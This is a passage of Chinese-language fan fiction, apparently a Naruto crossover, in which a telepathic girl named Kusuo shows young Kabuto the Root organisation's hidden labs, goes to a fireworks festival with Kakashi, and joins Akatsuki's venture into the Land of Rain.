还有关于他自己,药师兜一想就鼓起了脸颊。 ‘如果猜到的话,为什么不让我去做呢?要说天赋的话,我恐怕比楠子姐你要强呢!’ 心里是这样想的,可药师兜自己明白,他今天一直用各种各样的词汇贬低齐木楠子,只是因为他不知为何,偏偏就在害怕平平无奇的楠子而已。 ‘不能这样下去了!’ 他下定了决心,一旦楠子姐再次询问,他就要理直气壮地驳斥对方。 ‘不过是个普通人,没什么可怕的!唔,从今往后,我就叫她楠子,不过比我大五岁,根本不用怕!’ 药师兜给自己鼓着劲儿,但是直到夜半三更,齐木楠子也未曾询问他什么,让他感觉自己的拳头好像落到了空处。 这样的犹豫映射在梦中,就变成了了一片暗黑的森林。 ‘啊……这是梦啊,那就没什么可怕的。’年幼的药师兜有些明悟,及至看到身后从森林里一步一步踏出的野兽。 它有着粉色的皮毛,一双眼睛是幽暗的深紫色。 原本应该觉得可爱的,可随着它一步一步踏出,他的心却越发抽紧。 ‘没、没关系的。要克服恐惧,上去摸一摸……’药师兜咽了口口水,扯起了嘴角,欲要上前。 “乖~”他张口诱哄,却见那怪兽猛地张嘴,露出一口尖牙,他一声尖叫,坐起身来。 “兜,你在干嘛?” 粉色的头发,紫色的眼睛骤然出现在眼前,兜又是一声尖叫,躲在了被子里 “啊啊啊!别过来!别过来!” 除了尖叫,脑海里已经传来了药师兜失礼的心声,楠子有些不悦。 ‘……都说了让你不要和大蛇丸多说话了,把姐姐当做合成兽,可真有你的啊。’她轻踢了对方一脚,声音不怒自威,“兜,起床,我们走。” 被子又抖了一会儿,才露出一个眼睛。兜辨认了半晌,“走?去哪儿?” 他在询问,可看到楠子姐嘴角罕见的笑意的时候,又深刻地抖了一下。 “不是要当忍者吗?”平凡无奇的楠子居高临下,看着他仿若看着虫子。 “我……带你去见识一下,地狱。” 12. 游荡 ‘把我比作怪兽,而后又说我盛气凌人……还想着直接称呼我的名字,药师兜,你的教育看来真的出了很大的差错啊……呀嘞呀嘞,现在又怀疑我是间谍?你到底看了多少暗黑电视剧啊,看来必须要有所限制了。’ 牵着药师兜的小手,楠子虚着眼,听着对方一惊一乍的心声,开始反思自己的教育问题。 现在,两人正一前一后,走在药师兜完全不熟悉,楠子却已经轻车熟路的一栋巨大建筑中。 忍了又忍,药师兜还是率先沉不住气,“楠子姐,你方才使出的,应该是飞雷神?” ‘不是哦,是瞬移。’楠子心中回应,但是并未出声。 这种药师兜早已习以为常的静默,反而让他放松了一些,他又问:“这里是哪儿啊?” “是根组织。”楠子瞥了他一眼,“不是你想加入的吗?” “什么?!可、可这是……”药师兜的话音断在了嗓子里,因为他看到了一位忍者。 大蛇丸大人,这位可敬的三忍之一,现在夜半还没睡,正走在两人前方。 ‘居然没发现我们吗?真是万幸!’他闭紧了嘴,拉扯着楠子的手想要离开,却听到楠子的声音,前面的大蛇丸竟并未察觉。 “没事的兜,跟上来。” _________ 大蛇丸今日心情颇好,因为今日白天,有一个小家伙找到了他,说要拜他为师。 他当然不在乎那样一个小孩,但是对方的天赋或许能期待呢? 迈着悠闲的步伐,走入团藏的办公室,他微微致意后,便说:“我准备让孤儿院的一个小孩加入根组织进行学习。” 面前根组织的掌权人团藏抬起了眼,眼睛里划过一丝阴翳,“是哪个孩子,天赋就那样出众吗?” “还可以吧。”大蛇丸不在意道,“都是耗材而已,最终还要看那个孩子自己能到达的地方。” 团藏摇了摇头,“那就没有必要去招惹旗木朔茂。” 大蛇丸笑了一声,“他的刀已经钝了。六年过去,没有办法从那个孤儿院淘换人才,组织的纳新也会变得难办,总不能真逼着大家族将自己家的天才奉上。” 他顿了一秒,嘴角勾起,语气意味深长:“如果药师野乃宇死在任务途中……” 那话语未尽,带着无限的遐想,让整间屋子似乎都充斥着令人恶心的臭气。 团藏瞥了一眼这位不羁的忍者,道:“你的实验品,我会想办法,但是,不能太过分。野乃宇……” 他沉吟了几秒,到底没说话。 “呵。”大蛇丸嘴角拉出了嘲讽的弧度。 原本这位年迈的老人还十分支持他进行实验,甚至连一代的细胞都拿了出来。 可不知道是从什么时候开始,他就变得谨慎。 大蛇丸不明原委,可现在木叶还是很纵容他,他便也不再说什么。 摇摇头,就开始汇报另一件事情。 _________ 药师兜捂紧了嘴巴,陷入了巨大的震惊中。 ‘怎么会?!大蛇丸大人……团藏大人……!’ 他不是普通小孩,稍一思索就将所有事情串联起来,又向着更黑暗的地方滑去。 楠子余光扫过,越发觉得自己要承担起孤儿院影视剧分级的重任来才行。 因这件事,她的心沉甸甸的,拉着药师兜一路走过巨大的培养皿,关着不知道什么东西的监牢,以及……最下层两人一间的牢房。 ‘这是……什么地方?’使劲儿捂住了嘴,防止自己因方才看到的,实验室里的恶心景象而吐出来。 等到了这里,看到狭窄的牢房里睡着两个小孩,才有些放松。 “这是根组织预备成员的宿舍。”楠子像是介绍一般道,“所有预备成员都会住在这里,大家族的例外。等到他们长到一定年纪,就需要杀死对方。”当然,那都是几年前的事了。 “什么?!”这下,药师兜是真的惊到出声了,可里面的孩子并未被惊醒或察觉这里有人在看着他们。 这都是因为楠子的力量。 她转过头,俯视着药师兜,面色依旧平静无波。 “就像是我和你一起长大,却需要用苦无捅进你的身体,而后,用力旋转,你……也需要这样做。” 她伸出了手指,缓慢地伸向了药师兜。 药师兜本能想躲,却像是有着动物预警一般的直觉一样,硬挺着没有躲开。 直到她的手指重重戳在了他幼小的胸膛上,却什么痛感都没有,他才开始呼吸。 ‘差点……以为要死了!’ 楠子虚了一下眼,‘啧,把自己敬爱的姐姐妖魔化,可真有你的啊药师兜。’ 实际上也差不多了,否则药师兜可没法理解为什么他可亲可敬的姐姐可以使用飞雷神,可以在团藏和大蛇丸大人的眼皮底下偷听。 ‘呀嘞呀嘞,原本是平凡无奇的普通人,见识到力量就变成了可亲可敬的姐姐了啊。’ 楠子虚着眼,手指微微离开,还想再戳他几下,但终究忍住了。 他们又逛了许多地方,而后又回到了孤儿院的阴影处。 太阳即将升起,黑暗亦将隐没。 楠子终于发声:“就算看到这些事,你也想要加入根组织,成为大蛇丸大人的弟子吗?” 药师兜呆然地回头。 他现在还不过是一个7岁的小孩,哪怕懂得这个世界有黑暗面,但也未曾想过会降临在他所处的木叶。 他咽了口口水,说:“他们……说,要杀死妈妈。” “不会的。”楠子声音冷静,“我不会让那样的事发生的。” 兜又沉默了。 楠子一边聆听着他的纠结与野心,一边却在想自己的事。 兜的表现出乎她的意料。 他几乎堪称镇定,让楠子想起了第一次见到那些场面,结果一度被吓到掉线的自己。 她当然也试着去改变,将证据一股脑儿地堆在猿飞日斩的案头。 次日得到的消息,也只是团藏和日斩老头大吵了一架,而根组织越发戒备而已。 她当然不会死心,又将更黑暗的那些挖掘出来。 排除异己,人体实验,乃至造成战争…… 没有用,因为是对木叶有利的事,所以那些证据没有用。 木叶的火焰太微小了,只能温暖一小撮弱者而已。 她又试着去除火焰里的杂质,结果大概是因为只有小学学历,她越弄越糟。 她 推翻了因日斩和团藏内斗导致木叶衰弱的时间线;覆盖了因团藏身死,木叶部分忍者叛变,被其他国家趁虚而入的时间线;毁灭了因自己出手弹压,导致自己反而成为木叶之敌的时间线。 在那个时间线上,自己这位弟弟并未背叛,反而是旗木卡卡西在巨大的混乱中给了自己一刀呢。 ‘但是也没有产生任何伤害就是了……’ 到了最后,她只能赶着宇智波斑这个老头,让他去威胁团藏。 “不可以危害木叶的忍者,不可以做人体实验,不可以让小孩互相残杀……” 否则,木叶的老祖宗就会亲自来除害之类的。 及至现在,才有了微妙的平衡。 ‘真累啊……活在这样一个世界,还不如让我去《阿○蕾》。’ 楠子正在一边吐槽着,药师兜已经下定了决心。 “姐姐,但是我还是要去加入根!” 楠子虚着眼望着兜那张看似纯良的小脸。 ‘哎呀,我知道啦,连你在后悔今天不听我的话,白天就偷跑去找大蛇丸申请加入,现在又怕惹怒我,屁股挨打,因此费尽心思地想怎么说服我都听到了。’ “好啊。”她一口答应,让兜满腹的心思都落了空,眼睁睁地看着这刚新晋升为“楠子大姐头”的姐姐,抬起了没有一丝茧的手。 那只手白皙而冰凉,像是没有生命的物体,他的额角不自觉流下冷汗,想要咽口水又不敢。 ‘楠子姐,不会是鬼吧?’ 楠子眯起了眼睛,“我要告诫你一句话。” “好、好的!” “我很讨厌大蛇丸,如果你跟他学着,做出了超出我道德限制的事,我就会杀死你,这样……也没关系吗?” 楠子恐吓着他,她当然不会考虑去杀死什么药师兜。 哪怕是覆盖了这么多的时间线,她都还没直接杀过人呢。 ‘身为超能力者,就是要有自己的道德限制啊。’ 而且作为一个现代人,她的道德限制比忍界的高得多,可这个世界的下限太低了,她不得不将自己的下限拉低,才能和他们正常对话。 ‘不然,如果现在威胁兜,说什么到时候狠狠踢你的屁股,可一点威慑力都没有。’ 一想到这里,她甚至觉得自己因为那样高的道德值而高人一等。 药师兜心脏猛地一跳,但他还是镇定地点点头“当然,我记住了。” 只是半晌,在无人能感知的街道上,药师兜还是忍不住问了出来。 “楠子姐,你为什么不成为忍者呢?这样的话,你能帮更多的人吧?” 楠子的脚步顿了一下。 她想起来在某个时间线上,下意识朝自己挥刀,而后后怕地快要死掉,最后却又死在别人手中的某个灰发少年。 “不哦,我其实是个机制怪,就算亮了血条,像你们这样的攻击,我其实一滴血都不会掉哦。” 她当时那样说了,可是为什么他还是要用那脆弱的身体挡住别人的攻击呢? 木叶的忍者,又为何能向着自己人挥刀呢? 脑海中在思考,她的声音依旧像沁了薄冰,在拂晓的凌晨激荡出无边的寒意。 她说:“因为……我讨厌木叶啊。” 13. 遇见 “看起来,好像快要下雨了。” 卡卡西有些怔然地看着阴暗的天色。 灰色的云朵如同吸饱了水的抹布,让人有种气闷的感觉。 但这应该是自己的错觉。 他目光下移,看向了前面的一男一女。 宇智波带土和野原琳,他现在的两位队友。 “琳!一会一起去吃饭吧?我听说新开了店哦!位置超级难抢!我们现在就去!” 带土的声音里透着热情,野原琳也语气欢欣,“好啊!带土。” 她说着,回过头,眼神落在了身后不远处的卡卡西身上,走了过来,“卡卡西,你呢?要一起吗?” “我?……我还是不了。” “呃。”野原琳神情带上几分失落,这个时候,原本应该期待两人晚餐的带土反而有些生气。 “卡卡西,好不容易回来,我们就一起去啊!” “你先去吧,先去占座位,我有事要做。” “可恶,我也有事要做啊!”带土叫嚷着,可是看着面前两个人明显要说什么的神色,他还是轻哼了一声,快速离开。 当然,他并未跑远。 到了现在这个时候,哪怕是他也有那么一两手隐蔽的技巧,好不让卡卡西和琳发现了。 ‘他们会说什么?不会是告白吧?’带土的心砰砰直跳。 就在不久前,他带着鲜花,准备向琳告白,却被因卡卡西升任中忍的喜事打断了。 到了现在也没脸再提。 或许真是有些紧张,旗木卡卡西竟然也真的没发现宇智波带土并未离开。 他望着野原琳,颇为犹疑。 身为一个早熟的天才少年,他早就发现了带土对于琳的喜爱。 更发现了野原琳对自己的亲近。 他小心维护着队伍的平衡,但是前段时间的那件事,让他不能再将这件事拖下去了。 ‘带土……连花都拿出来了啊。’他可不至于自恋到那花真是为了恭喜自己买的。 “卡卡西,你是想说什么吗?”野原琳望着卡卡西,眼眸温柔似水。 她从来是个温柔又勇敢的女孩。 望着她的眼睛,卡卡西在心底下定了决心,张了张嘴,才偏开头。 “那个……你知道,什么颜色比较称粉色头发吗?” “粉色……头发?”琳有些讶异,更有些恍然,目光中,一向自信的卡卡西居然有几分紧张。 可他还是在呼出口气后,将事情完整说出来了。 “楠子……你也认识的。她答应我一起去烟火大会,只是……我想给她买一套浴衣。” 他没有说出身为孤儿的楠子穷到连合身的浴衣都没有的事,也只说了烟火大会和想买,野原琳就什么都明白了。 “啊……那个……这……”她有些慌乱地低下了头,半晌才道,“是、是……楠子啊。” “嗯。”话都说出口了,这时候,卡卡西反而能立刻回应了。 野原琳垂着头,他看不清楚她的神色,可这位勇敢的队友,很快仰起了笑脸。 “淡蓝色!我想,淡蓝色应该很适合吧!可是,如果不是个惊喜的话,你还得去问一下她才行!” 她不愧是他的队友,很快问到了点子上。 卡卡西犹豫了一瞬,沉声道:“已经问过了,没问题的。” ----------------- ‘等等,什么啊……这件事根本没问过我啊!’ “没事的,妈妈,你只要放心去烟火大会就行。” “就是就是!楠子姐也要去吧!” “要叫楠子大姐头,乌鲁西!” “呃,什么时候这么会拍马屁了啊兜。” ‘不……他一直都很会哦,之前还想要逢高踩低,叫我楠子呢。’ 楠子面无表情地想着,目光却落在了野乃宇的身上。 她的心声欢呼雀跃,如同春天里时高时低的小鸟。 ‘不就是被旗木大叔邀约去看烟火吗?需要那么高兴吗?’ 明明更亲密的事情都做过了啊…… 楠子虚着眼,试着放空头脑,不然脑海里要出现糟糕的画面了啊。 看着她,野乃宇说:“楠子,你要么还是升学去初中吧!” ‘呃,话题怎么又绕回到我身上了?’楠子不能理解野乃宇的脑回路,只下一秒她就被野乃宇的心声雷到了。 【如果只是小学文凭的话,嫁给忍者当妻子会很辛苦的啊。】 ‘咦惹……绝望了……她要对这个面对12岁少女就已经开始预想她未来要嫁给什么样的人的世界绝望了。’ 或许是厌恶的神情太过真切,她那张面瘫脸都显得有些冷然,“不需要,我能自学。” “可是……” “孤儿院的经费不是还很紧张吗?”她穿好了鞋,抬步出门,“我去打工了。” ----------------- ‘真是的,想到了过分的事,还在怪我脾气奇怪。’ 及至到了打工的时候,楠子还在这样想。 说来说去,这还是心灵感应的错。 若不是每次都能听到别人的心声,她也不至于要崩住自己的神情,做出一副冷淡的模样,好让自己的吐槽不要表现得太夸张。 ‘可是,要是真的离开了心灵感应,我又会不适应吧?’ 就像是游戏脱离了上帝视角的叙述,或者突然把她从高空抛到了沙盒里面当一个NPC。 而且,也没法察觉别人的苦痛了…… 垂下眼,她手持着甜品刀,将面前的蛋糕切成小份,放在旁边的托盘上,将围裙和手套脱下,放在一边。 “店长,我去发试吃品哦。” “哦哦,好的!” 端着托盘,她走到了店外,像是提着毒苹果的老巫婆一样,面无表情地棒读:“蛋糕试吃,蛋糕试吃……那边的孩子,想要尝尝吗?” “呃?我?”那原本因为她出来,而站远了的孩子有些惊讶。 楠子点点头:“对,你是宇智波一族的小孩吧,我有朋友是宇智波一族的,要来尝尝吗?” 出乎意料,或者又在意料之中,那个小孩犹豫了一下,低声问:“是……带土哥哥吗?” “是哦。”楠子虚着眼答着。 绝望啦,她要为这个四岁小孩都头脑清晰的世界绝望了。 实际上,现在在楠子所在的这片地方,很少见到宇智波一族的孩子,他们有自己的聚落,还有自己家族的产业,又占有警备队这样重要的 机关。 木叶曾经大力号召各个家族的小孩来上木叶小学。 可宇智波一族情况特殊,无论怎么呼吁,还是有那么一小部分在自己的家族里由长辈教导。 再加上二代以来流传出的偏见,宇智波一族在木叶的身份有些尴尬。 这几年,无论是宇智波斑还是宇智波泉奈,都没有询问宇智波一族的事。 楠子怀疑他们知道,或者至少是查探过。 可他们既然不问,楠子也不会多事。 她现在奉上蛋糕试吃,也只是因为面前的小孩太过可爱的缘故。 圆圆的脸颊,顺滑的头发,带着怯懦的温顺眼神,让楠子差点“哦呼”出声。 “那我……拿一个吧。” “嗯。”楠子弯下腰不动,看着那个小孩像是可爱的小猫一样靠近,而后拿起了一块蛋糕,放入嘴中,就露出的幸福的神色。 【好吃!】 ‘真可爱。’楠子的嘴角抿出一点喜悦的弧度。 “谢谢,这个蛋糕很好吃哦!”小孩有些高兴。 “再拿一块也没关系。”她怂恿道。 “可是,这是免费试吃吧。”那小孩有点腼腆。 楠子干脆蹲下了身,和他黑色的眼睛对视,“没事的,只是试吃,还不会把店吃垮的哦。” 在她的催促下,那小孩还是又拿了一块。 “谢谢。”他的声音又诚恳了几分。 楠子点点头,小声说:“每天下午四点,如果想吃试吃的话,还可以来哦。” “嗯。”他迟疑着答应,终于说出了自己的姓名,“那个,我叫鼬,宇智波鼬。” “嗯嗯,我知道了,我叫齐木楠子,请多多支持蛋糕店哦。” “嗯!” 看着那个孩子跑远,楠子才又直起身来,脑中思考着鼬心声所传递的信息。 ‘不是说战争的状况有所好转吗?居然连四岁的小孩都要上战场了……斑爷爷不会是在骗我吧?’ 她不由得越发下定了决心。 ‘不能再让斑爷爷和泉奈胡搞瞎搞了,晓……必须要发挥作用才行。’ 怀抱着这样的想法,她下班回到了孤儿院。 “啊!楠子大姐头!你回来啦!饭菜给你留好了,擦手巾在桌上,外套我来帮你拿,卡卡西大哥送的礼物在……呃!” 药师兜几乎是惊恐地看着面前这个恐怖的楠子大姐头一个趔趄,差点摔倒。 【不过是卡卡西大哥送礼了而已,不至于这样嫌弃吧?】他胡思乱想。 楠子抬起脸,眯起了眼睛去看“阿谀谄媚”的药师兜,目光一转,又落在了更里面的房间里。 ‘身为大人,难道对自己的生活没有一点点规划和管理吗?’ 只是目光一转,“曲意逢迎”的药师兜就提来了一个袋子。 “里面是浴衣,怎么办?楠子姐,要丢掉吗?可是看起来好贵的样子。” 楠子看了看那袋子里包装精美的浴衣,又看了看药师兜看似无辜的面容。 目光最后还是落在了里面的房间。 ‘野乃宇,怀了旗木朔茂的孩子,还想着在烟火大会的时候拒绝对方,从而带球跑什么的……你到底让我怎么在这种时候拒绝旗木卡卡西的邀约啊混蛋!’ 14. 烟花 来吧,先来整理一下状况。 旗木朔茂,男,退休上忍,在退休之后加入了木叶孤儿院,而后结识了当时的院长,药师野乃宇。 截至现在,他们之间隐秘的成人关系,已经持续了4年。 在楠子第一次从野乃宇的心声当中听到了‘旗木上忍,哦呼’之类的心声之后,她就已经预料到会有类似的事情发生。 但是啊……她一直以来料想的都是一段正常而健康的关系,而不是这种不负责任的带球跑啊喂! 【就算告诉朔茂也是给他添麻烦吧。当然,他是一定会负责的,但是……这里离不开我呀。】 野乃宇的心声里满是沮丧。 ‘既然对他没信心,就不要做出这种事啊。而且,难道嫁人了,就不能管理木叶孤儿院了吗?’ 楠子虚着眼想,但她也明白野乃宇的担忧是因为什么。 当然是不方便了,因为那个时候野乃宇会冠上旗木家的姓氏,加上她怀孕生子的空白时间,团藏大人一定会想办法把她从孤儿院踢出去。 除非旗木大叔强硬一些,但是如果他能做到这样的事,也不会因为某些事情搞得要自杀了。 况且,在这个世界,女性忍者在结婚生子后回归家庭也是寻常事。 ‘呀嘞呀嘞,不管是哪个世界,对于女性怀孕这件事都那样不友好啊。话又说回来啊,野乃宇,早上的时候比我这个十二岁少女还要期待烟火大会,结果一查出来怀孕,就坚定的要把帅大叔抛过墙头,你还真是了不得啊。’ 野乃宇的心声终于消失在某处,楠子眼睛落在了虚空的某一个点上,最后转到了那个礼物袋上。 不用拆开,她就能看到礼物袋里包装精美的浴衣。 浅蓝色的衣服上有着牵牛花一般的花纹,甚至还搭配了发饰。 看了半晌,她嘴里不自觉地冒出一句:“真是奸诈。” ‘就是因为知道直接给我一定会被拒绝,所以特意在大家都在的时候,交给孩子们。尤其是药师兜,还那样爱做捧哏,是想要看我的笑话吧。明明知道,我根本就不想去烟火大会,才不是因为没有合适的浴衣,青春期的智谋型帅哥还真是……’ 她眨眨眼,想了半天,还是没想出合适的词汇。 但是有一件事可以确认——她齐木楠子,不想被十二岁的少男告白。 ———— 时间过得飞快,转眼间,烟火大会就快到了。 “那个,卡卡西。” “嗯?什么?”卡卡西看向了宇智波带土,这位队友其实很好懂,感情全部都写在了脸上。 可他再怎么易懂,他的下句话还是差点让卡卡西将嘴里的水喷了出去。 “浴衣,送出去了吧?”带土神色郑重。 “呃咳咳!你怎么……等等,你居然偷听!宇智波带土!”卡卡西面露怒容。 带土立马道歉,“哎呀,是不小心,那个,你要和楠子去烟火大会吗?我告诉你一个能增加告白成功率的地点吧?不然,和大家堆在一起,一点氛围都没有了。说不定,还能啾啾哦~” “就你,还要给我当军师呢!”卡卡西斜睨着他,可面罩下的脸却在发热。 带土又叽里咕噜说了一堆,什么要送花,送巧克力,放音乐什么的,他完全没听进去。 要是带土说的有用的话,他恐怕早就成功向野原琳告白了吧。 只是,卡卡西并不想在这个方面刺痛带土的自尊心。 他只安静等着,直到带土口干舌燥的说完,他才问:“在哪儿?” “什么?”带土有些诧异。 卡卡西猛地转头看向了他,“我是问,那个地方在哪里啦!” ———— ‘啊……如果可以,我也想知道呢,那个地方在哪里。’ 楠子虚着眼看着面前的旗木卡卡西。 是啦,她粉色的头发是柔嫩的像是春天的夜樱,皮肤也确实像是皎洁的月色,浅蓝色的浴衣也实在很衬她淡然的气质。 但是,为什么要在脑海里显摆自己的词汇量和国语水平啊。 ‘方一见面,就把我从头到脚夸了一通,而后,还是在计算着自己的帅气程度和能够告白的成功率,真不愧是你啊,旗木卡卡西。如果不是我能够控制自己的面部表情,现在一定已经脸红了吧。’ 她深深叹了口气。 “怎么了?”卡卡西有些紧张。 “没什么。”楠子微微仰着下巴,向前走去。 忍界时局不稳,这个时候的烟火大会在楠子看来,也只不过像是前世里的校园文化祭那样的规模,只是商贩更专业而已。 哦,她之所以知道,还是因为那个时候父母曾经带着自己参加哥哥学校的文化祭。 她垂下了眼眸,虽是面无表情,卡卡西却像是准确地捕捉到了她的情绪。 “楠子,给。” 看着对方递过来棉花糖,楠子心中微暖,只是方一接过,就听到对方【yes,好感度加1】的心声,就真的很难感动起来啊。 ‘不哦,好感度要归零了哦。还有啊,不要盯着我的脸就想到kiss啊,会显得很变态。啊……这就是头脑太过敏捷的缺点了。’她想着,嘴上却说,“谢谢。” 卡卡西的心声总是那样杂乱,头脑中可以同时计算许多事情,常常让楠子觉得讶异。 明明应该觉得很吵,但是奇怪的是,她并不觉得讨厌那声音。 想想看,绝对是因为对方一直在用那过于丰富的词汇量对自己夸夸夸吧。 一直都在说自己的好话,就算是她也不能冷脸相对。 随着走近人群聚集的地方,嘈杂的心声越来越多。 卖棉花糖的,捞金鱼的,想要让妈妈买章鱼烧的,想要挽着女朋友手求婚的…… 众人的心声,仿若热浪冲撞,向她涌了过来。 ‘……所以我就不想来这种人多的地方啊。’ 她心里想着,木屐下像是踩中了什么,不小心一歪。 ‘糟糕。’楠子心中闪过思绪,一只在她看来并不算有力的手臂就扶住了她的肩膀,向着相反的力量拉扯。 肩膀撞上了卡卡西的胸口,鼻尖嗅到了和旗木大叔类似的清新香气,她的眼皮不由得跳动了一下。 ‘哦呼。’ 人流的喧闹声顿时被巨大的心跳声淹没,如同巨浪被排开,倒入了温柔的流水,她的脑海里再次充满了他的声音。 全部是关于她的。 【好机会!】 【一直揽着她会不会太过分……】 【还没有阻止我啊……】 【这、这是默认了吗?所以说……可以告白吗?】 【糟糕,感觉手要出汗了。】 ‘不过是十二岁的小孩,什么都做不了,反应倒也不需要这样大吧。’ 楠子虚下眼。 就是这样,每当她的心稍微泛起涟漪,就会被卡卡西另外的一些心绪打断。 ‘这也是没办法的事啊。’她倒也不会因此讨厌卡卡西就是了。 轻咳一声,卡卡西就像是触电一般放开了手。 “抱、抱歉……”卡卡西看着她,那眼神仿佛他真的有那么诚恳一样。 ‘其实很开心吧。啊……再吵一点也无妨吧……毕竟,外面的声音太大了。’ 她看着人流,若有所思,伸出了手。 “什么?”卡卡西有些讶异。 “拉手。”楠子说着,语气依旧因为那份不属于年纪的平静而显得有些冷淡。 但或许是因为周围灯光的映照,那张在卡卡西心中皎洁如同月光的面容上,确实升起了红色的云朵 。 “啊,好。”卡卡西的心音里传来巨大的回响。 楠子顿了一下,在心底叹气。 ‘我没有脸红哦,现在告白也绝对不会成功……不要想着kiss的时候怎样摘下面罩才会显得更帅!我会告你性骚扰的!’ 可她就这样安静走着,没有作声。 卡卡西也没有。 捞金鱼的水花声,烤鱿鱼因灼热而刺啦作响的声音,套圈时铁圈撞击地面的声音,还有苦无击中靶心的声音…… “可以了哦,已经知道卡卡西很优秀了。”楠子拉住了卡卡西的衣角,深紫色的眼眸望着他,“总不能让老板没得赚呐。” “啊,好的。”卡卡西的声音有些停滞。 看看他吧,真要夸他,反而脸部发热,没有了声息。 他们将那些赢下来的东西零零散散带着,直到走到了坡道之上。 “就是这里了,我听说,在这里可以避开人群。” 卡卡西的声音很稳定,似乎他没想着在这里做什么一样。 楠子也一样,只是她肯定是要做些什么的。 “砰”的一声,烟花炸开,五颜六色的光线照亮了夜空,也映照着两个人的面容。 ‘好美。’ 眼眸里终于像是被染上了其他的色彩,她微微睁大眼睛,因那划过天际的光和火焰而震撼。 只不过,身边人的心音,还是干扰了这份难得的感动。 ‘现在可不是说我好美的时候哦,说月色真美也不行,我不是只有小学文凭吗?会装听不懂的。想要拥抱也不行,这个时候摘下面罩也不行。’ 在心中字字句句回应着,她想到了自己接下来要做些什么,难得升起了怜悯之心,因而再次拉住了卡卡西的手。 这时候,哪怕是楠子,都有种罪恶感油然而生。 她不能总是这样“玩弄”十二岁少年的心吧? 可是,真要让她一直冷脸相对,对面人的心音又总是让她不忍心,要是一不小心长歪了,又变成旗木朔茂大叔那样要怎么办? 所以,不如就这样吧。 卡卡西目光注视着她,声音都有些变调,“楠子……我……” “卡卡西。”楠子打断了卡卡西未尽的话,“你知道野乃宇院长怀孕了吗?” “……” “她怀的是你父亲的孩子。” 卡卡西的眼睛猛地睁大。 【父亲的孩子……?等等,楠子,为什么要和我说这件事,难不成,今天所有的事都是……】 她太过了解他了,在他向着黑暗的地方去想之前,盯住了他,手上也开始用力。 “我和你说这件事,是为了让你来选择。……别这样看我,旗木大叔是很帅啦,但是野乃宇院长也不是恋爱脑。她准备今天甩了旗木大叔,而后带球跑呢。” “什、什么?!”卡卡西瞪得眼睛都快脱窗啦! 是啦,他是知道他的老爸虽然帅气,但是时不时就会有点不靠谱,但是、但是…… 心中五味杂陈,卡卡西又感觉到了手上传来的力度。 抬眼去看,就看到楠子平静而信任的眼神,继而,他的心也宁静下来。 “楠子……” 紫色的眼眸在流光下显露出各种各样的色彩,几乎让他沉迷其中,但是她的话语却是那样镇定而平和。 “我告诉你这件事,是要由你来选择,是要和我在这里看完这场烟花,还是……去找到朔茂大叔,将这件事告诉他。” 她蹙了蹙眉,像是不堪忍受些什么。 可那双眼睛依旧像是静湖,却倒映出他那讶然的面容,声音里带着无比的信任。 “我相信你,所以,无论你做出什么样的决定,我……都会支持你。” “砰”的一声,烟花再次炸开了。 15. 压制 ‘呵,男人。’ 楠子在心中说着,看着眼前卡卡西的身影化作一个小点,急速消失在天边,而后看了看周围的一堆“礼物”。 ‘如果我不是超能力者的话,要怎么把这些带回去呢?……不过,还是得要谢谢你呢,帅气的卡卡西。’ 她嘴角轻勾,下一秒已经使出了瞬移,回到了孤儿院内的杂物间内。 叫上孤儿院内还未睡觉的孩子们,告诉他们这是礼物,看着他们欣喜而灿烂的笑容,连楠子都感觉暖融融的。 不过是一些食物和小礼物而已,甚至不是每一个人都能分到,而是几个人一个,他们也都觉得欢欣不已。 偏偏有人要破坏她的好心情。 “大姐头,卡卡西哥哥告白了吗?”药师兜鬼鬼祟祟地挨蹭了过来。 楠子的嘴角一顿,压低了声音:“你再叫我一声‘大姐头’,我就让你连着做十天的噩梦哦!” 她只是恐吓药师兜,但是没想到兜竟然真的好像想到了什么可怖的东西,神色变个不停。 ‘搞什么啊……又把我当成付丧神,兜你的想象力也太丰富了吧?’ 楠子笑意不变,道:“准备一下吧,今晚,陪我去个地方,做好伪装。” “额,是!大姐头!” “就说不要叫我大姐头了!” ----------------- 雨之国,雨忍村外围。 长门看着远方最后一片灯火隐没在黑暗中,不由得去看身边的黑衣人。 “泉奈前辈,真的什么准备都不用做吗?只靠那个女孩的话……” “没问题的。”泉奈打断了对方,目光锁定了雨忍村的建筑物。 长门蹙了蹙眉。 就在六年前,斑和泉奈找上了他们,他们自然十分感动,甚至在两人的教导和帮助下,建立了晓组织。 或许是因为见到过真正豁达而无私的忍者吧,长门就是和两人亲近不起来。 似乎注意到了他的想法,泉奈前辈转过头来,注视了他一会儿,才道:“长门,如果是你,应该就能了解,在这个世界中,有很多事物,都超出了我们的预料。就像是……你的眼睛。” 长门心中猛地一沉,他垂下了头,刘海遮住了那双紫色的眼眸。 他这双眼睛并非是遗传自父母,而是被人移植上去的。 哪怕是父母未死之前,也讳莫如深。 斑和泉奈大人像是了解些什么,但是他一直不敢问。 他的眼睛拥有着奇诡的能力,哪怕是他漩涡一族的体质,都无法全部发挥这双眼睛的能力。 难不成,那个带着面具的女孩,和自己拥有相同的眼睛吗? 他正想着,就感觉到面前带着面具的泉奈身形一顿,向着另外一个方向看去。 那里是方才晓的忍者已经查探的地方,应该没有人才对。 可下一瞬间,他的眉头蹙起,因为那里响起了沉重而拖沓的脚步声。 一高一矮,两个小孩走了过来。 一个在泥水中如履平地,激荡的雨丝没有沾染那衣袍一丝一毫。 一个穿着一身雨衣,底下罩着包裹全身的袍子,深一脚浅一脚,看起来像是才六、七岁。 “你带了个累赘来。”泉奈前辈的声音无比平静。 “啊,有的家伙,不知道人间疾苦,以为聪明了一点就能做奥特曼的人间体呢。”那个女孩的声音亦是平静,“所以,我要带他来见识见识。” 长门心中一沉,看着那小孩在雨中单薄的模样,不由得严厉道:“这是战场,不是玩乐的地方?” 那女孩的面具“看”了过来,直到长门都觉得有些尴尬的时候,她出了声:“你们似乎没有解释清楚。” “解释无用,对于忍者来说,事实才有用。”泉奈摇了摇头,“你做好准备了吗?” “当然,”那女孩并未点头,“我……可不会让我自己丢脸。” ----------------- 齐木楠子当然不会让自己丢脸。 在得知了宇智波斑粗浅的计划之后,她自己就来雨之国查探过许多次,无论是在雨忍村周边,还是潜入雨忍村做确认。 经过她的确认,除却封建一点以外,山椒鱼半藏似乎并不算是个坏人。 他至少比团藏光明正大一些,只是怕死而已。 作为和六个国家毗邻的小国,这里甚至没有一个像样的影,而是完全由忍者村进行领导,也根本不懂经营。 想到了这里,她不由得发问:“你们想好了下一步吗?” 面前的红发青年有些发愣,“什么?” “怎么领导这里的人民?”楠子耐心引导,“雨之国虽然天气不好,但是,这里依旧有很多民众。我一路行来,发现他们过得都颇为窘迫。” 